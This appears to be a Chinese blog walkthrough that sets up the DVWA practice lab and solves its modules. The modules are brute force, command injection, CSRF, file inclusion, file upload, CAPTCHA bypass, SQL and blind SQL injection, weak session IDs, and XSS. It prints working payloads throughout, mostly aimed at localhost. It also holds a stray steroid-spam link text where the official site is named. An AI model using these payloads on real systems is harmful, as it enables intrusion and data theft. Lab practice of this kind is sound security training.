DVWA的安装教程和通关详解
目录
一.环境搭建
1.下载和安装phpstudy
2.DVWA下载
3.DVWA安装
更改配置信息
解决爆红错误
二.Brute Force
1.LOW级别
2.Medium级别
3.High级别
三.Command Injection
1.Low级别
2.Medium级别
3.High级别
四.CSRF
1.Low级别
2.Medium级别
3.High级别
五.File Inclusion
1.Low级别
2.Medium级别
3.High级别
六.File Upload
1.Low级别
2.Medium级别
3.High级别
七.Insecure CAPTCHA
1.Low级别
2.Medium级别
八.SQL Injection
1.Low级别
2.Medium级别
3.High级别
九.SQL Injection(Blind)
1.Low级别
2.Medium级别
3.High级别
十.Weak Session IDS
1.Low级别
2.Medium级别
3.High级别
十一.XSS(DOM)
1.Low级别
2.Medium级别
3.High级别
十二.XSS(Reflected)
1.Low级别
2.Medium级别
3.High级别
十三.XSS(Stored)
1.Low级别
2.Medium级别
3.High级别
十四.CSP Bypass
加油各位( •̀ ω •́ )y 期待与君再相逢
DVWA是一款基于PHP和mysql开发的web靶场练习平台,集成了常见的Web漏洞。
一.环境搭建
1.下载和安装phpstudy
默认安装完成后,打开phpstudy界面如下:
开启Apache和MySql两个服务,点击启动:
2.DVWA下载
打开DVWA官网:Buy Steroids Online UK - Anabolic Steroids For Sale UK,打开后滑动到页面下方,点击下载,如图:
3.DVWA安装
把下载好的DVWA的压缩包解压在之前安装PHPStudy文件夹下的WWW目录(先解压再复制到此目录也可以,注意 是把整个文件夹复制到此目录,而不是各个文件),如图:
更改配置信息
到这里就需要更改一些配置信息了。
我们要找到DVWA-master 下面的config文件夹,
打开config.inc.php.dist文件,修改这里的默认密码 “p@ssw0rd” 为 “root”,默认账号“dvwa"为”root“保存,
然后还需要把config.inc.php.dist的后缀“.dist”删除,最后文件名就剩config.inc.php。如图:
之后保持phpstudy开启状态,随便进个浏览器,
地址栏输入:http://127.0.0.1/DVWA-master 进入配置安装界面。
标红的地方表示出现了环境或配置的问题。(这是正常现象,不用紧张)
需要下面我们逐一解决 — —
解决爆红错误
第一个错误:表示没有开启PHP url_include模块。
解决方法:1)找到你PHPstudy的安装目录。
2)进入Extensionsphp。
3)找到所使用的php版本号所在文件夹,修改php.ini中的allow_url_include为On。4)然后保存,重启PHPstudy,错误得到解决。
第二个错误:表示缺少了验证码的key。
解决方法:编辑 dvwa/config/config.inc.php这个配置文件,找到以下代码把key填上就行了。
$_DVWA[ 'recaptcha_public_key' ] = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';
$_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';
key也可以自己生成,地址是:https://www.google.com/recaptcha/admin/create
最后一个,点击最下面的那个“Create/Reset Database”按钮创建数据库,如果创建成功则表示如下结果,点击最下面的login进入登录界面。
登录界面如下:默认用户名为admin,密码为password。
登录成功,则显示如下界面,至此,DVWA靶场搭建成功。
在dvwa security选项中,可以调整dvwa的难易程度,如图:
二.Brute Force
Brute Force即为暴力破解,通过枚举获取管理员的账号和密码,在实际的操作中,一般用来破解后台管理系统的登录。
1.LOW级别
在该模块任意输入账号和密码,在burp中抓包
抓到包后,右键send ro intruder
send to intruder在intruder的positions选择中,先点击clear$清除所有的变量。然后分别给username和password这两个字段后面的内容添加add$,添加变量并将attack type的值设置为cluster bomb
在payloads选择中分别给payload 1和payload 2设置字典路径
同理,选择第二个payload
然后点击右上方的start attack
如上,开始枚举破解。通过length的长度判决即可
红色部分为破解的密码,通过上面的破解,我们发现length的长度存在不一样,不一样的就是为破解成功的账号和密码。
2.Medium级别
相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,",x1a)进行转义,把其中的字符串给过滤掉了,基本上能够抵御sql注入攻击,那低等级时候用到的注入就失效了,需要注意的是中级的暴力破解相对来说较慢是因为有个sleep函数,在破解失败后会使程序停止运行两秒。所以我们直接用爆破方法即可,和low级的一样(所以这里就不多演示一遍了)
3.High级别
High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。
在该模块任意输入账号和密码,用burp中抓包
发现多了一个token参数。将抓到的包发送到intrude
选择攻击模式为pitchfock,并且给要破解的项带上美元符号
设置参数,在option选项卡中将攻击线程thread设置为1
因为Recursive_Grep模式不支持多线程攻击,然后选择Grep-Extract,意思是用于提取响应消息中的有用信息,点击Add,如下图进行设置,最后将Redirections设置为Always
写上value=’ 点击刷新相应信息 服务器返回的token选中(即value后面,表示每次从响应中获取该值)
将这个token 值先记录下来
87a8523f6d96f38f4f22738f2297e61a
找到Redirections模块设置允许重定向,选择always
设置密码本,点击payload,选择第一项的密码本与低等级的相同,第二项的时候选择Recursive grep 并且把之前得到的token值粘贴到下方的方框中
最后进行攻击破解。
三.Command Injection
命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻击手段。
常见的命令连接符如下:
command1 && command2 先执行command1后执行command2
command1 | command2 只执行command2
command1 & command2 先执行command2后执行command1
1.Low级别
在文本框里输入”192.168.0.1 && net user”,得到系统中所有的用户
发现乱码,乱码的解决方法:在DVWA-master\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的"charset=utf-8",修改"charset=gb2312‘,即可
输入192.168.0.1 && net user,最终显示效果
2.Medium级别
代码审计
可以看到,相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。
输入127.0.0.1 | dir
输入127.0.0.1 & ipconfig
3.High级别
相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。黑名单看似过滤了所有的非法字符,但仔细观察到是把|(注意这里|后有一个空格)替换为空字符,于是 |成了“漏网之鱼”。
输入127.0.0.1|dir
四.CSRF
CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
1.Low级别
我们第一次尝试两次密码不一致看看
可以看到顶部的URL是:http://127.0.0.1/dvwa1/vulnerabilities/csrf/?password_new=1234&password_conf=1111&Change=Change#
很明显,这就是修改密码的链接
我们打开另一个页面,在顶部URL中自己输入如下的:
http://127.0.0.1/dvwa1/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#
可以看到,直接跳转到了密码成功的页面了,密码已经被修改。
2.Medium级别
Medium级别的代码在Low级别的基础上,加上了对用户请求头的中的Referer字段进行验证。即用户的请求头中的Referer字段必须包含了服务器的名字。当我们再打开另一个页面,在顶部URL中自己输入如下的URL时,
http://127.0.0.1/dvwa1/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
它会报错,提示你Http Referer字段没有定义索引(复制url到新建的页面)
这次我们先正常的访问这个完整,然后用burpsuite进行抓包,如图可以看到Referer字段
然后,我们打开另一个页面,在顶部URL中自己输入如下的链接,用burpsuite进行抓包。
http://127.0.0.1/dvwa1/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
可以看到,当我们直接打开另一个页面,直接输入URL的时候,请求包的头中并没有Referer字段,所以不能修改成功。
那我们可以自己加一个Referer字段,然后值只要设置成包含了主机头127.0.0.1就行了
可以看到,已经成功修改密码了
3.High级别
可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。这里因为对请求的token进行了验证,所以比上两个等级的更加的安全。
因为该请求是get请求,所以token验证会被放在请求URL中,我们随便输入密码验证一下,可以看到,在请求的URL中最末尾加入了token。
五.File Inclusion
文件包含:开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。
文件包含漏洞:开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。
文件包含是利用函数来包含web目录以外的文件,分为本地包含和远程包含。
目录遍历是可以读取web目录以外的其他目录,根源在于对路径访问权限设置不严格
1.Low级别
low级别的代码对包含的文件没有进行任何的过滤!这导致我们可以进行包含任意的(远程、本地)文件。
输入:http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.php
我们在\vulnerabilities\fi目录中创建一个测试文件test.txt,文件内容是“<?php system('ipconfig');?>”,通过文件包含漏洞可以直接查看到该文件内容。
当我们包含一个不存在的文件 xixi.php ,看看会发生什么情况?可以看到,发生了报错,并且把网站的路径都给暴露出来了。
2.Medium级别
通过审核代码,可以看到,代码使用 str_replace函数 对http:// 和 https://进行了过滤,防止了远程包含漏洞的产生。但是使用 str_replace 函数进行过滤是很不安全的,因为可以使用双写绕过。例如,我们包含 hthttp://tp://xx 时,str_replace 函数只会过滤一个 http:// ,所以最终还是会包含到 http://xx 。
访问:http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=htthttp://p://127.0.0.1/phpinfo.php
3.High级别
high级别的代码对包含的文件名进行了限制,必须为 file* 或者 include.php ,否则会提示Error:File not found。
于是,我们可以利用 file 协议进行绕过。例如:
http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=file:///D:\phpStudy\PHPTutorial\WWW\DVWA1\vulnerabilities\fi\test.txt
六.File Upload
File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。
1.Low级别
通过代码审核,可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。
文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。这里三个条件全都满足。
制作一句话木马,文件格式为php:
开始上传,上传成功后,会显示文件路径
接下来,实用菜刀或蚁剑拿Wehshell
2.Medium级别
Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB),如果我们直接上传,会提示如下Your image was not uploaded. We can only accept JPEG or PNG images.可以看到,对上传的文件做出了要求,必须是jpg和png解决方法抓包修改文件类型即可。
所以我们创建一个1.jpg的文件,然后使用burp进行修改文件类型。
上传成功。
3.High级别
High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。
思路:1)制作图片马。2)利用之前的文件包含漏洞配合菜刀或蚁剑连接刚刚上传成功的图片马。
一句话地址:
http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=file:///D:\phpStudy\PHPTutorial\WWW\DVWA1\hackable\uploads\3.jpg
七.Insecure CAPTCHA
1.Low级别
代码审核
符合POST请求里带Change、step是2的条件,就可以直接跳过第一步的验证码。
通过Burp代理,修改step=2,就可以绕过第一步,从而再利用CSRF漏洞成功修改密码。
使用burp抓包,将step=1改成2,就可成功绕过
2.Medium级别
查看服务器端核心代码可知,Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与Low级别的验证没有任何区别。
可以通过抓包,更改step参数,增加passed_captcha参数(passed_captcha=true)
改前:
改后:
然后我们就成功的修改了密码,绕过了验证码
3.High级别
代码审核:
满足一下任一条件就可以去修改密码:
1)验证码为真
2)g-recaptcha-response为hidd3n_valu3并且HTTP_USER_AGENT为reCAPTCHA。
3)很明显,第二条可以通过Burp来绕过验证码。
改前:
改后:
执行成功!
八.SQL Injection
QL注入是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。
手工注入一般思路:
判断是否存在注入,注入是字符型还是数字型猜解SQL查询语句中的字段数确定回显位置获取当前数据库获取数据库中的表获取表中的字段名得到数据1.Low级别
选择SQL Injection,在输入框随意输入数字查看回显
判断是否存在SQL注入
输入1提交
输入1'提交
输入1 and 1=1 提交
输入1 and 1=2 提交
由上可以看出是存在注入点的,并且是以单引号闭合的,
所以我们猜测sql查询语句是这样的:
Select First name的列名and Surname的列名 from 表名 where id的列名='id'
判断列数
1)输入1' order by 2# 提交
1)输入1' order by 3# 提交
由此,我们判断列数为2列
UNION注入
1' union select 1,2#
从上图可以看出有2个回显
查询当前的数据库及版本
输入 1' union select version(),database()#
获取数据库中的表
1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#或者
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
获取表中的字段名
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
获取字段中的数据
这里密码使用了MD5加密,可在https://www.cmd5.com/进行解密
得到密码
2.Medium级别
中级加入了一些防御,,不让用户输入,只提供选择(可以用burpsuit抓包来绕过)
我们可以利用burp修改数据包,绕过防御。判断注入点,以及注入的类型。
我们转到Repeater进行操作
根据low关卡知道存在SQL注入,这里就不多演示,我们从爆数据库开始。
1)查询当前的数据库及版本
1 union select version(),database()#
2)获取数据库中的表
1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#
3)获取表中的字段名,考虑到单引号被转义,可以利用16进制绕过。(‘user’)
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
4)获取字段中的数据
1 union select user, password from users#
3.High级别
可以看出,点击“here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制啦查询条数,可以通过burpsuit抓包,修改数据包实现绕过。
方法跟前面的差不多,这里就不多演示了,直接爆账号密码
1' union select user,password from users#
九.SQL Injection(Blind)
SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示 页面上获取执行的结果,甚至连注入语句是否执行都无法得知。
盲注的话,就像跟一个机器人聊天,但是这个机器人只会回答“是”与“不是”,因此,得从一个大的范围去问是与不是,然后慢慢的缩小范围,最后就是类似于问“数据库名字的第一个字是不是a啊”这样的问题,通过这种机械的询问,最终得到我们想要的数据。
盲注分为:基于布尔的盲注、基于时间的盲注、基于报错的盲注
盲注的一般步骤:
判断是否存在注入、注入是字符型还是数字型猜解当前数据库名猜解数据库中的表名猜解表中的字段名猜解数据
1.Low级别
开始操作:
输入1显示存在
输入1 and 1=1 或 1 and 1=2均显示存在
输入1' and 1=1 #显示存在(这三种都显示存在)
输入1' and 1=2 #不存在
即知:存在字符型的盲注。
下面对其进行布尔盲注
1)查数据库前要先判断数据库的长度
依次输入1' and length(database())=x #(x为大于等于1的整数)当显示存在时即为数据库长度发现当x=4时显示存在,故数据库长度为42)二分法找数据库名
依次输入1' and ascii(substr(databse(),1,1))>或<字母的ascii值#, 通过比较输入字母的ascii值的显示正常与否来逐个确定库名![](http://zhangshiyu.com/zb_users/upload/2023/03/20230323183439167956767914789.png)
重复上述步骤,就可以得到完整的数据库名dvwa
3)查数据库中的表
首先确定数据库中表的数量输入 1' and (select count (table_name) from information_schema.tables where table_schema=database())=x # (x为大于等于1的整数)
当显示存在时即可判断表的数量
最终当x=2显示存在即表的数量为2
然后确定表的长度输入1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=x #(x为大于等于1的整数)
当显示存在时即可判断表的长度
当x=9显示存在即表的长度为9
然后同样二分法确定表名输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>或<字母的ascii值 #
通过比较输入字母的ascii值的显示正常与否来逐个确定表名
重复上述步骤可得到出两个表名guestbook、users4)找表中的字段
首先找到字段的数量输入1' and (select count(column_name) from information_schema.columns where table_name= 'users')=x #
当显示存在时即为字段数
最后当x=8时显示存在即字段数users字段数为8
然后找字段名输入1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=x #
当x=7时显示存在即users表的第一个字段为7个字符长度
最后也是二分法确定字段名接下来对其进行时间盲注
1)判断注入类型
说明为字符型盲注
2)找库名
先确定库名长度![](http://zhangshiyu.com/zb_users/upload/2023/03/20230323183440167956768054119.png)
库名长度为4
然后通过二分法找库名
重复上述步骤即可找到库名
3)找库中表名
先确定表的数量![](http://zhangshiyu.com/zb_users/upload/2023/03/20230323183440167956768061619.png)
可以确定表的数量为2
再确定表的长度
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟
……
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟
可以确定第一个表的长度为9
最后二分法找到表名4)找表中的字段
先确定字段的数量![](http://zhangshiyu.com/zb_users/upload/2023/03/20230323183440167956768041724.png)
可以确定users字段的数量为8
然后依次确定字段名
1’ and if(length(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟
1’ and if(length(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟
说明users表的第一个字段长度为7
最后再用二分法确定字段名2.Medium级别
可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。可以通过过抓包来实现sql盲注。
3.High级别
可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只演示基于布尔的盲注:
特别提醒:自动化注入工具sqlmap的应用
十.Weak Session IDS
Session简介:用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带Session去访问即可。
sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权限,无需录直接进入特定用户界面,进而进行其他操作。
用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。用户拿到session id就会加密后保存到 cookies 上,之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionID一旦在生命周期内被窃取,就等同于账户失窃。
Session利用的实质:由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等。
Session劫持:就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持。SessionID还可以保存在URL中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验。
注意:session id 过于简单就会容易被人伪造。根本都不需要知道用户的密码就能访问,用户服务器的内容了。
1.Low级别
low级别未设置过滤,直接用bp抓包,可以清楚的看到dvwaSession的cookie,每重放一次,dvwaSesion增加1
构造payload:dvwaSession=12; security=low; PHPSESSID=9uu34n47j66u3g420tv8j7chu0
通过火狐浏览器的hackbar,提交,选择cookie提交方式,为验证有效性,清楚一下浏览器的cookie值,提交后发现直接登录dvwa,绕过密码验证
2.Medium级别
代码审核:
medium级别是基于时间戳生成dvwaSession的,关于时间戳转换,直接查找转换器进行转换即可。
通过设置时间戳,可知诱骗受害者在某个时间点基进行点击
3.High级别
high级别使用了PHP setcookie()函数,来设置cookie
抓包发现,dvwaSession值很像md5加密,使用md5解密,发现是对从零开始的整数进行加密;构造payload使用火狐提交。
十一.XSS(DOM)
XSS(DOM)是一种基于DOM树的一种代码注入攻击方式,可以是反射型的,也可以是存储型的,所以它一直被划分第三种XSS。与前两种XSS相比,它最大的特点就是不与后台服务器交互,只是通过浏览器的DOM树解析产生。除了js,flash等脚本语言也有可能存在XSS漏洞
1.Low级别
无任何过滤
所以我们可以构造XSS代码,访问链接:http://127.0.0.1/dvwa1/vulnerabilities/xss_d/?default=<script>alert(666)</script>
我们查看源代码,可以看到,我们的脚本插入到代码中,所以执行了
2.Medium级别
代码审核:
可以看到,medium级别的代码先检查了default参数是否为空,如果不为空则将default等于获取到的default值。这里还使用了stripos 用于检测default值中是否有 <script ,如果有的话,则将 default=English 。
很明显,这里过滤了 <script (不区分大小写),那么我们可以使用:
<img src=1 οnerrοr=('hack')>
构造Payload:
http://127.0.0.1/dvwa1/vulnerabilities/xss_d/?default=<img src=1 οnerrοr=alert(666)>
此时,并没有弹出任何页面。
我们查看网页源代码,发现我们的语句被插入到了value值中,但是并没有插入到option标签的值中,所以img标签并没有发起任何作用。
所以我们得先闭合前面的标签,我们构造语句闭合option标签
构造Payload:
http://127.0.0.1/dvwa1/vulnerabilities/xss_d/?default=></option><img src=1 οnerrοr=alert(666)>
但是我们的语句仍然没有执行,于是我们查看源代码,发现我们的语句中只有 > 被插入到了option标签的值中,因为</option>闭合了option标签,所以img标签并没有插入。
于是我们继续构造语句去闭合select标签,这下我们的img标签就是独立的一条语句了。
构造Payload:
http://127.0.0.1/dvwa1/vulnerabilities/xss_d/?default=>/option></select><img src=1 οnerrοr=alert(666)>
我们查看源代码,可以看到,我们的语句已经插入到页面中了
3.High级别
审核代码:
可以发现使用了白名单的思想,只允许French,English,German以及Spanish,是否存在绕过的可能性呢,答案是肯定的,例如使用如下payload便会触发xss:
http://127.0.0.1/dvwa1/vulnerabilities/xss_d/?default=#</option></select><BODY ONLOAD=alert(document.cookie)>
可以看到我们在English之后添加了#,在url中#后边的内容不会发送到服务端,从而可以实现绕过。
十二.XSS(Reflected)
反射型XSS是非持久性、参数型的跨站脚本。
反射型XSS的代码在Web应用参数中,例如搜索框的反射型XSS。
1.Low级别
直接通过$_GET方式获取name的值,之后未进行任何编码和过滤,导致用户输入一段js脚本会执行。
构造脚本:<script>alert(666)</script>
2.Medium级别
代码审计:
对<script>标签做了过滤,可以使用事件绕过。
构造脚本:<a href = 'javascript:alert(666)'>click</a>
3.High级别
代码审计:
高难度是用preg_replace()函数进行正则过滤<script>标签,使用 img 标签和其编码转换后的
XSS payload。
<img src=1 οnerrοr=alert(666)>
十三.XSS(Stored)
存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。
1.Low级别
可以看出,low级别的代码对我们输入的message和name并没有进行XSS过滤,而且数据存储在数据库中,存在比较明显的存储型XSS漏洞。
我们输入 1 和 <script>alert(666)</script> ,可以看到,我们的js代码立即就执行了
2.Medium级别
addslashes(string) :函数返回在预定义字符之前添加反斜杠的字符串,预定义字符 ' 、" 、\ 、NULL
strip_tags(string) :函数剥去string字符串中的 HTML、XML 以及 PHP 的标签
htmlspecialchars(string): 把预定义的字符 "<" (小于)、 ">" (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素
当我们再次输入1 和 <script>alert(666)</script> ,strip_tags函数把<script>标签给剥除了,addslashes函数把 ' 转义成了 \'
1)Burpsuite抓包改name参数为:<sc<script>ript>alert(/name/)</script>
2)大小写混淆绕过,Burpsuite抓包改name参数为:<ScRipt>alert(/name/);</ScRipt>
3)使用非 script 标签的 xss payload:
Burpsuite抓包改name参数为:<img src=1 οnerrοr=alert(/name/)>
最终弹框:
3.High级别
使用正则表达式过滤了<script>标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS。
Burpsuite抓包改name参数为<img src=1 οnerrοr=alert(/name/)>
最终弹框:
十四.CSP Bypass
内容安全策略(CSP)使服务器管理员可以通过指定浏览器应认为是可执行脚本的有效源的域来减少或消除XSS可能发生的向量。然后,兼容CSP的浏览器将仅执行从这些允许列出的域接收的源文件中加载的脚本,忽略所有其他脚本(包括内联脚本和事件处理HTML属性)。
除了限制可以从中加载内容的域之外,服务器还可以指定允许使用哪些协议; 例如(理想情况下,从安全角度来看),服务器可以指定必须使用HTTPS加载所有内容。完整的数据传输安全策略不仅包括强制HTTPS进行数据传输,还包括使用安全标记标记所有cookie,并提供从HTTP页面到其HTTPS对应项的自动重定向。站点还可以使用Strict-Transport-SecurityHTTP标头来确保浏览器仅通过加密通道连接到它们。
两种方法可以启用 CSP。一种是通过 HTTP 头信息的Content-Security-Policy的字段。
一种是通过网页的<meta>标签。
加油各位( •̀ ω •́ )y 期待与君再相逢